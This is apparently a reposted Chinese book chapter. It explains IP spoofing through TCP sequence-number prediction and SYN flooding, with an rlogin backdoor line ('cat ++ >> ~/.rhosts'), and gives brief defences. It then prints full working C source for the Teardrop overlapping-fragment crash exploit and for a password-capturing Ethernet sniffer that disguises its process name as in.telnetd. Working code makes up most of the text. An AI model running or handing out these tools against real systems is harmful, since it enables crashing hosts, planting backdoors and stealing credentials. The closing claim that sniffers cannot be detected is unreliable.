IP欺骗

来源:互联网 发布:李舜臣 知乎 编辑:程序博客网 时间:2024/05/10 08:52
IP欺骗

  即使是很好的实现了TCP/IP协议,由于它本身有着一些不安全的地方,从而可以对TCP/IP网络进行攻击。这些攻击包括序列号欺骗,路由攻击,源地址欺骗和授权欺骗。本文除了介绍IP欺骗攻击方法外,还介绍怎样防止这个攻击手段。

  上述攻击是建立在攻击者的计算机(包括路由)是连在INTERNET上的。这里的攻击方法是针对TCP/IP本身的缺陷的,而不是某一具体的实现。

实际上,IP 欺骗不是进攻的结果,而是进攻的手段。进攻实际上是信任关系的破坏。

第一节 IP欺骗原理

信任关系

在Unix

领域中,信任关系能够很容易得到。假如在主机A和B上各有一个帐户,在使用当中会发现,在主机A上使用时需要输入在A上的相应帐户,在主机B上使用时必须输入在B上的帐户,主机A和B把你当作两个互不相关的用户,显然有些不便。为了减少这种不便,可以在主机A和主机B中建立起两个帐户的相互信任关系。在主机A和主机B上你的home目录中创建.rhosts

文件。从主机A上,在你的home目录中输入'echo " B username " > ~/.rhosts' ;从主机B上,在你的home目录中输入'echo

" A username " >~/.rhosts'

。至此,你能毫无阻碍地使用任何以r*开头的远程调用命令,如:rlogin,rcall,rsh等,而无口令验证的烦恼。这些命令将允许以地址为基础的验证,或者允许或者拒绝以IP地址为基础的存取服务。

这里的信任关系是基于IP地址的。

Rlogin

  Rlogin 是一个简单的客户/服务器程序,它利用TCP传输。Rlogin 允许用户从一台主机登录到另一台主机上,并且,如果目标主机信任它,Rlogin

将允许在不应答口令的情况下使用目标主机上的资源。安全验证完全是基于源主机的IP 地址。因此,根据以上所举的例子,我们能利用Rlogin

来从B远程登录到A,而且不会被提示输入口令。

TCP 序列号预测

IP只是发送数据包,并且保证它的完整性。如果不能收到完整的IP数据包,IP会向源地址发送一个ICMP

错误信息,希望重新处理。然而这个包也可能丢失。由于IP是非面向连接的,所以不保持任何连接状态的信息。每个IP数据包被松散地发送出去,而不关心前一个和后一个数据包的情况。由此看出,可以对IP堆栈进行修改,在源地址和目的地址中放入任意满足要求的IP地址,也就是说,提供虚假的IP地址。

TCP提供可靠传输。可靠性是由数据包中的多位控制字来提供的,其中最重要的是数据序列和数据确认,分别用SYN和ACK来表示。TCP

向每一个数据字节分配一个序列号,并且可以向已成功接收的、源地址所发送的数据包表示确认(目的地址ACK

所确认的数据包序列是源地址的数据包序列,而不是自己发送的数据包序列)。ACK在确认的同时,还携带了下一个期望获得的数据序列号。显然,TCP提供的这种可靠性相对于IP来说更难于愚弄。

序列编号、确认和其它标志信息

由于TCP是基于可靠性的,它能够提供处理数据包丢失,重复或是顺序紊乱等不良情况的机制。实际上,通过向所传送出的所有字节分配序列编号,并且期待接收端对发送端所发出的数据提供收讫确认,TCP

就能保证可靠的传送。接收端利用序列号确保数据的先后顺序,除去重复的数据包。TCP 序列编号可以看作是32位的计数器。它们从0至232-1

排列。每一个TCP连接(由一定的标示位来表示)交换的数据都是顺序编号的。在TCP数据包中定义序列号(SYN)的标示位位于数据段的前端。确认位(ACK)对所接收的数据进行确认,并且指出下一个期待接收的数据序列号。

TCP通过滑动窗口的概念来进行流量控制。设想在发送端发送数据的速度很快而接收端接收速度却很慢的情况下,为了保证数据不丢失,显然需要进行流量控制,协调好通信双方的工作节奏。所谓滑动窗口,可以理解成接收端所能提供的缓冲区大小。TCP利用一个滑动的窗口来告诉发送端对它所发送的数据能提供多大的缓冲区。由于窗口由16位BIT所定义,所以接收端TCP

能最大提供65535个字节的缓冲。由此,可以利用窗口大小和第一个数据的序列号计算出最大可接收的数据序列号。

其它TCP标示位有RST(连接复位,Reset the connection)、PSH(压入功能,Push function)和FIN (发送者无数据,No

more data from sender)。如果RST 被接收,TCP连接将立即断开。RST

通常在接收端接收到一个与当前连接不相关的数据包时被发送。有些时候,TCP模块需要立即传送数据而不能等整段都充满时再传。一个高层的进程将会触发在TCP头部的PSH标示,并且告诉TCP模块立即将所有排列好的数据发给数据接收端。FIN

表示一个应用连接结束。当接收端接收到FIN时,确认它,认为将接收不到任何数据了。

TCP序列号预测最早是由Morris对这一安全漏洞进行阐述的。他使用TCP序列号预测,即使是没有从服务器得到任何响应,

来产生一个TCP包序列。这使得他能欺骗在本地网络上的主机。

  通常TCP连接建立一个包括3次握手的序列。客户选择和传输一个初始的序列号(SEQ标志)ISN

C,并设置标志位SYN=1,告诉服务器它需要建立连接。服务器确认这个传输,并发送它本身的序列号ISN

S,并设置标志位ACK,同时告知下一个期待获得的数据序列号是ISN=1。客户再确认它。在这三次确认后,开始传输数据。整个过程如下所示:

  C*S:SYN(ISN C ) S*C:SYN(ISN S ) ,ACK(ISN C ) C*S:ACK(ISN S ) C*S:数据 或S*C:数据

也就是说对一个会话,C必须得到ISN S确认。ISN S可能是一个随机数。

了解序数编号如何选择初始序列号和如何根据时间变化是很重要的。似乎应该有这种情况,当主机启动后序列编号初始化为1,但实际上并非如此。初始序列号是由tcp_init函数确定的。ISN每秒增加128000,如果有连接出现,每次连接将把计数器的数值增加64000。很显然,这使得用于表示ISN的32位计数器在没有连接的情况下每9.32

小时复位一次。之所以这样,是因为这样有利于最大限度地减少旧有连接的信息干扰当前连接的机会。这里运用了2MSL

等待时间的概念(不在本文讨论的范围之内)。如果初始序列号是随意选择的,那么不能保证现有序列号是不同于先前的。假设有这样一种情况,在一个路由回路中的数据包最终跳出了循环,回到了“旧有”的连接(此时其实是不同于前者的现有连接),显然会发生对现有连接的干扰。

假设一个入侵者X有一种方法,能预测ISN S。在这种情况下,他可能将下列序号送给主机T来模拟客户的真正的ISN S:

  X*S:SYN(ISN X ) ,SRC = T S*T:SYN(ISN S ) ,ACK(ISN X ) X*S:ACK(ISN S ) ,SRC =T

X*S:ACK(ISN S ) ,SRC = T,无用数据

尽管消息S*T并不到X,但是X能知道它的内容,因此能发送数据。如果X要对一个连接实施攻击,这个连接允许执行命令,那么另外的命令也能执行。

  那么怎样产生随机的ISN?在Berkeley系统,最初的序列号变量由一个常数每秒加一产生,等到这个常数一半时,就开始一次连接。这样,如果开始了一个合法连接,并观察到一个ISN

S在用,便可以计算,有很高可信度,ISN S *用在下一个连接企图。

Morris 指出,回复消息

S*T:SYN(ISN S ) ,ACK(ISN X )

事实上并不消失,真正主机将收到它,并试图重新连接。这并不是一个严重的障碍。Morris发现,通过模仿一个在T上的端口,并向那个端口请求一个连接,他就能产生序列溢出,从而让它看上去S*T消息丢失了。另外一个方法,可以等待知道T关机或重新启动。

下面详细的介绍一下。

IP欺骗

IP欺骗由若干步骤组成,这里先简要地描述一下,随后再做详尽地解释。先做以下假定:首先,目标主机已经选定。其次,信任模式已被发现,并找到了一个被目标主机信任的主机。黑客为了进行IP欺骗,进行以下工作:使得被信任的主机丧失工作能力,同时采样目标主机发出的TCP

序列号,猜测出它的数据序列号。然后,伪装成被信任的主机,同时建立起与目标主机基于地址验证的应用连接。如果成功,黑客可以使用一种简单的命令放置一个系统后门,以进行非授权操作。

使被信任主机丧失工作能力

一旦发现被信任的主机,为了伪装成它,往往使其丧失工作能力。由于攻击者将要代替真正的被信任主机,他必须确保真正被信任的主机不能接收到任何有效的网络数据,否则将会被揭穿。有许多方法可以做到这些。这里介绍“TCP

SYN 淹没”。

前面已经谈到,建立TCP连接的第一步就是客户端向服务器发送SYN请求。 通常,服务器将向客户端发送SYN/ACK

信号。这里客户端是由IP地址确定的。客户端随后向服务器发送ACK,然后数据传输就可以进行了。然而,TCP处理模块有一个处理并行SYN请求的最上限,它可以看作是存放多条连接的队列长度。其中,连接数目包括了那些三步握手法没有最终完成的连接,也包括了那些已成功完成握手,但还没有被应用程序所调用的连接。如果达到队列的最上限,TCP将拒绝所有连接请求,直至处理了部分连接链路。因此,这里是有机可乘的。

黑客往往向被进攻目标的TCP端口发送大量SYN请求,这些请求的源地址是使用一个合法的但是虚假的IP地址(可能使用该合法IP地址的主机没有开机)。而受攻击的主机往往是会向该IP地址发送响应的,但可惜是杳无音信。与此同时IP包会通知受攻击主机的TCP:该主机不可到达,但不幸的是TCP会认为是一种暂时错误,并继续尝试连接(比如继续对该IP地址进行路由,发出SYN/ACK数据包等等),直至确信无法连接。当然,这时已流逝了大量的宝贵时间。值得注意的是,黑客们是不会使用那些正在工作的IP地址的,因为这样一来,真正IP持有者会收到SYN/ACK响应,而随之发送RST给受攻击主机,从而断开连接。前面所描述的过程可以表示为如下模式。

1 Z (X) ---SYN ---> B

    Z (X) ---SYN ---> B

    Z (X) ---SYN ---> B

2 X <---SYN/ACK-- B

X <---SYN/ACK-- B

3 X <--- RST --- B

  在时刻1时,攻击主机把大批SYN

请求发送到受攻击目标(在此阶段,是那个被信任的主机),使其TCP队列充满。在时刻2时,受攻击目标向它所相信的IP地址(虚假的IP)作出SYN/ACK反应。在这一期间,受攻击主机的TCP模块会对所有新的请求予以忽视。不同的TCP

保持连接队列的长度是有所不同的。BSD

一般是5,Linux一般是6。使被信任主机失去处理新连接的能力,所赢得的宝贵空隙时间就是黑客进行攻击目标主机的时间,这使其伪装成被信任主机成为可能。

序列号取样和猜测

  前面已经提到,要对目标主机进行攻击,必须知道目标主机使用的数据包序列号。现在,我们来讨论黑客是如何进行预测的。他们先与被攻击主机的一个端口(SMTP是一个很好的选择)建立起正常的连接。通常,这个过程被重复若干次,并将目标主机最后所发送的ISN存储起来。黑客还需要估计他的主机与被信任主机之间的RTT时间(往返时间),这个RTT时间是通过多次统计平均求出的。RTT

对于估计下一个ISN是非常重要的。前面已经提到每秒钟ISN增加128000,每次连接增加64000。现在就不难估计出ISN的大小了,它是128000乘以RTT的一半,如果此时目标主机刚刚建立过一个连接,那么再加上一个64000。再估计出ISN大小后,立即就开始进行攻击。当黑客的虚假TCP数据包进入目标主机时,根据估计的准确度不同,会发生不同的情况:

 

·如果估计的序列号是准确的,进入的数据将被放置在接收缓冲器以供使用。

·如果估计的序列号小于期待的数字,那么将被放弃。

·如果估计的序列号大于期待的数字,并且在滑动窗口(前面讲的缓冲)之内,那么,该数据被认为是一个未来的数据,TCP模块将等待其它缺少的数据。如果估计的序列号大于期待的数字,并且不在滑动窗口(前面讲的缓冲)之内,那么,TCP将会放弃该数据并返回一个期望获得的数据序列号。下面将要提到,黑客的主机并不能收到返回的数据序列号。

 

1 Z(B) ----SYN ---> A

2 B <---SYN/ACK--- A

3 Z(B) -----ACK---> A

4 Z(B) ---——PSH---> A

  攻击者伪装成被信任主机的IP

地址,此时,该主机仍然处在停顿状态(前面讲的丧失处理能力),然后向目标主机的513端口(rlogin的端口号)发送连接请求,如时刻1所示。在时刻2,目标主机对连接请求作出反应,发送SYN/ACK数据包给被信任主机(如果被信任主机处于正常工作状态,那么会认为是错误并立即向目标主机返回RST数据包,但此时它处于停顿状态)。按照计划,被信任主机会抛弃该SYN/ACK数据包。然后在时刻3,攻击者向目标主机发送ACK数据包,该ACK使用前面估计的序列号加1(因为是在确认)。如果攻击者估计正确的话,目标主机将会接收该ACK

。至此,连接正式建立起来了。在时刻4,将开始数据传输。一般地,攻击者将在系统中放置一个后门,以便侵入。经常会使用 ′cat ++ >>

~/.rhosts′。之所以这样是因为,这个办法迅速、简单地为下一次侵入铺平了道路。

  一个和这种TCP序列号攻击相似的方法,是使用NETSTAT服务。在这个攻击中,入侵者模拟一个主机关机了。如果目标主机上有NETSTAT,它能提供在另一端口上的必须的序列号。这取消了所有要猜测的需要。

IP欺骗的防止

防止的要点在于,这种攻击的关键是相对粗糙的初始序列号变量在Berkeley系统中的改变速度。TCP协议需要这个变量每秒要增加25000次。Berkeley

使用的是相对比较慢的速度。但是,最重要的是,是改变间隔,而不是速度。

我们考虑一下一个计数器工作在250000Hz时是否有帮助。我们先忽略其他发生的连接,仅仅考虑这个计数器以固定的频率改变。

  为了知道当前的序列号,发送一个SYN包,收到一个回复:

  X*S: SYN(ISN X ) S*X: SYN(ISN S ) ,ACK(ISN X ) (1)

  第一个欺骗包,它触发下一个序列号,能立即跟随服务器对这个包的反应:

  X*S: SYN(ISN X ) ,SRC = T (2)

  序列号ISN S用于回应了:

  S*T: SYN(ISN S ) ,ACK(ISN X )

  是由第一个消息和服务器接收的消息唯一决定。这个号码是X和S的往返精确的时间。这样,如果欺骗能精确地测量和产生这个时间,即使是一个4-U时钟都不能击退这次攻击。

抛弃基于地址的信任策略

  阻止这类攻击的一种非常容易的办法就是放弃以地址为基础的验证。不允许r*类远程调用命令的使用;删除.rhosts 文件;清空/etc/hosts.equiv

文件。这将迫使所有用户使用其它远程通信手段,如telnet、ssh、skey等等。

进行包过滤

  如果您的网络是通过路由器接入Internet

的,那么可以利用您的路由器来进行包过滤。确信只有您的内部LAN可以使用信任关系,而内部LAN上的主机对于LAN以外的主机要慎重处理。您的路由器可以帮助您过滤掉所有来自于外部而希望与内部建立连接的请求。

 

使用加密方法

  阻止IP欺骗的另一种明显的方法是在通信时要求加密传输和验证。当有多种手段并存时,可能加密方法最为适用。

使用随机化的初始序列号

  黑客攻击得以成功实现的一个很重要的因素就是,序列号不是随机选择的或者随机增加的。Bellovin

描述了一种弥补TCP不足的方法,就是分割序列号空间。每一个连接将有自己独立的序列号空间。序列号将仍然按照以前的方式增加,但是在这些序列号空间中没有明显的关系。可以通过下列公式来说明:

 

ISN =M+F(localhost,localport ,remotehost ,remoteport )

M:4微秒定时器

F:加密HASH函数。

F产生的序列号,对于外部来说是不应该能够被计算出或者被猜测出的。Bellovin

建议F是一个结合连接标识符和特殊矢量(随机数,基于启动时间的密码)的HASH函数。

第二节 一个源程序

下面介绍一个叫Teardrop的程序,可以用来产生用来欺骗的IP包。

Teardrop:

/*

* Copyright (c) 1997 route|daemon9 < [email]route@infonexus.com[/email]> 11.3.97

*

* Linux/NT/95 Overlap frag bug exploit

*

* Exploits the overlapping IP fragment bug present in all Linux kernels and

* NT 4.0 / Windows 95 (others?)

*

* Based off of: flip.c by klepto

* Compiles on: Linux, *BSD*

*

* gcc -O2 teardrop.c -o teardrop

* OR

* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING

*/

#include < stdio.h>

#include < stdlib.h>

#include < unistd.h>

#include < string.h>

#include < netdb.h>

#include < netinet/in.h>

#include < netinet/udp.h>

#include < arpa/inet.h>

#include < sys/types.h>

#include < sys/time.h>

#include < sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING

/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */

#define FIX(n) (n)

#else /* OpenBSD 2.1, all Linux */

#define FIX(n) htons(n)

#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */

#define IPH 0x14 /* IP header size */

#define UDPH 0x8 /* UDP header size */

#define PADDING 0x1c /* datagram frame padding for first packet */

#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */

#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can

* withstand maybe 5 or 10 sometimes... Experiment.

*/

void usage(u_char *);

u_long name_resolve(u_char *);

u_short in_cksum(u_short *, int);

void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)

{

int one = 1, count = 0, i, rip_sock;

u_long src_ip = 0, dst_ip = 0;

u_short src_prt = 0, dst_prt = 0;

struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9");

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

perror("raw socket");

exit(1);

}

if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))

< 0)

{

perror("IP_HDRINCL");

exit(1);

}

if (argc < 3) usage(argv[0]);

if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))

{

fprintf(stderr, "What the hell kind of IP address is that?");

exit(1);

}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)

{

switch (i)

{

case 's': /* source port (should be emphemeral) */

src_prt = (u_short)atoi(optarg);

break;

case 't': /* dest port (DNS, anyone?) */

dst_prt = (u_short)atoi(optarg);

break;

case 'n': /* number to send */

count = atoi(optarg);

break;

default :

usage(argv[0]);

break; /* NOTREACHED */

}

}

srandom((unsigned)(time((time_t)0)));

if (!src_prt) src_prt = (random() % 0xffff);

if (!dst_prt) dst_prt = (random() % 0xffff);

if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:");

addr.s_addr = src_ip;

fprintf(stderr, "From: %15s.%5d", inet_ntoa(addr), src_prt);

addr.s_addr = dst_ip;

fprintf(stderr, " To: %15s.%5d", inet_ntoa(addr), dst_prt);

fprintf(stderr, " Amt: %5d", count);

fprintf(stderr, "[ ");

for (i = 0; i < count; i++)

{

send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);

fprintf(stderr, "b00m ");

usleep(500);

}

fprintf(stderr, "]");

return (0);

}

/*

* Send two IP fragments with pathological offsets. We use an implementation

* independent way of assembling network packets that does not rely on any of

* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).

*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,

u_short dst_prt)

{

u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */

u_char byte; /* a byte */

struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;

sin.sin_port = src_prt;

sin.sin_addr.s_addr = dst_ip;

/*

* Grab some memory for our packet, align p_ptr to point at the beginning

* of our packet, and then fill it with zeros.

*/

packet = (u_char *)malloc(IPH + UDPH + PADDING);

p_ptr = packet;

bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */

memcpy(p_ptr, &byte, sizeof(u_char));

p_ptr += 2; /* IP TOS (skipped) */

*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */

p_ptr += 2;

*((u_short *)p_ptr) = htons(242); /* IP id */

p_ptr += 2;

*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */

p_ptr += 2;

*((u_short *)p_ptr) = 0x40; /* IP TTL */

byte = IPPROTO_UDP;

memcpy(p_ptr + 1, &byte, sizeof(u_char));

p_ptr += 4; /* IP checksum filled in by kernel */

*((u_long *)p_ptr) = src_ip; /* IP source address */

p_ptr += 4;

*((u_long *)p_ptr) = dst_ip; /* IP destination address */

p_ptr += 4;

*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */

p_ptr += 2;

*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */

p_ptr += 2;

*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,

sizeof(struct sockaddr)) == -1)

{

perror("");

free(packet);

exit(1);

}

/* We set the fragment offset to be inside of the previous packet's

* payload (it overlaps inside the previous packet) but do not include

* enough payload to cover complete the datagram. Just the header will

* do, but to crash NT/95 machines, a bit larger of packet seems to work

* better.

*/

p_ptr = &packet[2]; /* IP total length is 2 bytes into the header *

/

*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);

p_ptr += 4; /* IP offset is 6 bytes into the header */

*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,

sizeof(struct sockaddr)) == -1)

{

perror("");

free(packet);

exit(1);

}

free(packet);

}

u_long name_resolve(u_char *host_name)

{

struct in_addr addr;

struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)

{

if (!(host_ent = gethostbyname(host_name))) return (0);

bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);

}

return (addr.s_addr);

}

void usage(u_char *name)

{

fprintf(stderr,

"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]",

name);

exit(0);

}

第六章

Sniffer

  Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。

第一节 Sniffer简介

什么是以太网sniffing?

  以太网sniffing

是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。

它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。

利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。

sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。

sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。

  有许多运行与不同平台上的sniffer程序。

Linux tcpdump

DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、      Netzhack

上面的这些程序,可以从互连网上找到。

使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。

通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。

第二节 一个sniffer源程序

下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。

/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/

#include < string.h>

#include < ctype.h>

#include < stdio.h>

#include < netdb.h>

#include < sys/file.h>

#include < sys/time.h>

#include < sys/socket.h>

#include < sys/ioctl.h>

#include < sys/signal.h>

#include < net/if.h>

#include < arpa/inet.h>

#include < netinet/in.h>

#include < netinet/ip.h>

#include < netinet/tcp.h>

#include < netinet/if_ether.h>

int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);

char *hostlookup(unsigned long int);

void clear_victim(void);

void cleanup(int);

 

struct etherpacket

{

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char buff[8192];

}ep;

struct

{

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

int bytes_read;

char active;

time_t start_time;

} victim;

struct iphdr *ip;

struct tcphdr *tcp;

int s;

FILE *fp;

#define CAPTLEN 512

#define TIMEOUT 30

#define TCPLOG "tcp.log"

int openintf(char *d)

{

int fd;

struct ifreq ifr;

int s;

fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

if(fd < 0)

{

perror("cant get SOCK_PACKET socket");

exit(0);

}

strcpy(ifr.ifr_name, d);

s=ioctl(fd, SIOCGIFFLAGS, &ifr);

if(s < 0)

{

close(fd);

perror("cant get flags");

exit(0);

}

ifr.ifr_flags |= IFF_PROMISC;

s=ioctl(fd, SIOCSIFFLAGS, &ifr);

if(s < 0) perror("can not set promiscuous mode");

return fd;

}

int read_tcp(int s)

{

int x;

while(1)

{

x=read(s, (struct etherpacket *)&ep, sizeof(ep));

if(x > 1)

{

if(filter()==0) continue;

x=x-54;

if(x < 1) continue;

return x;

}

}

}

int filter(void)

{

int p;

p=0;

if(ip->protocol != 6) return 0;

if(victim.active != 0)

if(victim.bytes_read > CAPTLEN)

{

fprintf(fp, "---- [CAPLEN Exceeded]");

clear_victim();

return 0;

}

if(victim.active != 0)

if(time(NULL) > (victim.start_time + TIMEOUT))

{

fprintf(fp, "---- [Timed Out]");

clear_victim();

return 0;

}

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==109) p=1; /* pop2 */

if(ntohs(tcp->dest)==143) p=1; /* imap2 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

if(victim.active == 0)

if(p == 1)

if(tcp->syn == 1)

{

victim.saddr=ip->saddr;

victim.daddr=ip->daddr;

victim.active=1;

victim.sport=tcp->source;

victim.dport=tcp->dest;

victim.bytes_read=0;

victim.start_time=time(NULL);

print_header();

}

if(tcp->dest != victim.dport) return 0;

if(tcp->source != victim.sport) return 0;

if(ip->saddr != victim.saddr) return 0;

if(ip->daddr != victim.daddr) return 0;

if(tcp->rst == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "---- [RST]");

clear_victim();

return 0;

}

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "---- [FIN]");

clear_victim();

return 0;

}

return 1;

}

int print_header(void)

{

fprintf(fp, "");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]", hostlookup(ip->daddr), ntohs(tcp->dest));

}

int print_data(int datalen, char *data)

{

int i=0;

int t=0;

victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, ""); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "");}

}

}

main(int argc, char **argv)

{

sprintf(argv[0],"%s","in.telnetd");

s=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(TCPLOG, "at");

if(fp == NULL) { fprintf(stderr, "cant open log");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0)

print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}

char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent * he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL)

strcpy(blah, inet_ntoa(i));

else

strcpy(blah,he->h_name);

return blah;

}

void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}

void cleanup(int sig)

{

fprintf(fp, "Exiting...");

close(s);

fclose(fp);

exit(0);

}

下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。

它们在头文件中的定义如下:

struct ethhdr

{

unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

unsigned char h_source[ETH_ALEN]; /* source ether addr */

unsigned short h_proto; /* packet type ID field */

};

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t ihl:4;

u_int8_t version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int8_t version:4;

u_int8_t ihl:4;

#else

#error "Please fix < bytesex.h>"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

struct tcphdr

{

u_int16_t source;

u_int16_t dest;

u_int32_t seq;

u_int32_t ack_seq;

#if __BYTE_ORDER == __LITTLE_ENDIAN

u_int16_t res1:4;

u_int16_t doff:4;

u_int16_t fin:1;

u_int16_t syn:1;

u_int16_t rst:1;

u_int16_t psh:1;

u_int16_t ack:1;

u_int16_t urg:1;

u_int16_t res2:2;

#elif __BYTE_ORDER == __BIG_ENDIAN

u_int16_t doff:4;

u_int16_t res1:4;

u_int16_t res2:2;

u_int16_t urg:1;

u_int16_t ack:1;

u_int16_t psh:1;

u_int16_t rst:1;

u_int16_t syn:1;

u_int16_t fin:1;

#else

#error "Adjust your < bits/endian.h> defines"

#endif

u_int16_t window;

u_int16_t check;

u_int16_t urg_ptr;

};

上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。

随后,看一下函数int openintf(char

*d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:

struct ifreq

{

#define IFHWADDRLEN 6

#define IFNAMSIZ 16

union

{

char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

} ifr_ifrn;

union

{

struct sockaddr ifru_addr;

struct sockaddr ifru_dstaddr;

struct sockaddr ifru_broadaddr;

struct sockaddr ifru_netmask;

struct sockaddr ifru_hwaddr;

short int ifru_flags;

int ifru_ivalue;

int ifru_mtu;

struct ifmap ifru_map;

char ifru_slave[IFNAMSIZ]; /* Just fits the size */

__caddr_t ifru_data;

} ifr_ifru;

};

这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。

  如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。

再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。

接下来的程序是将数据输出到文件中去。

函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。

第三节 怎样在一个网络上发现一个sniffer

  简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。

  只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。
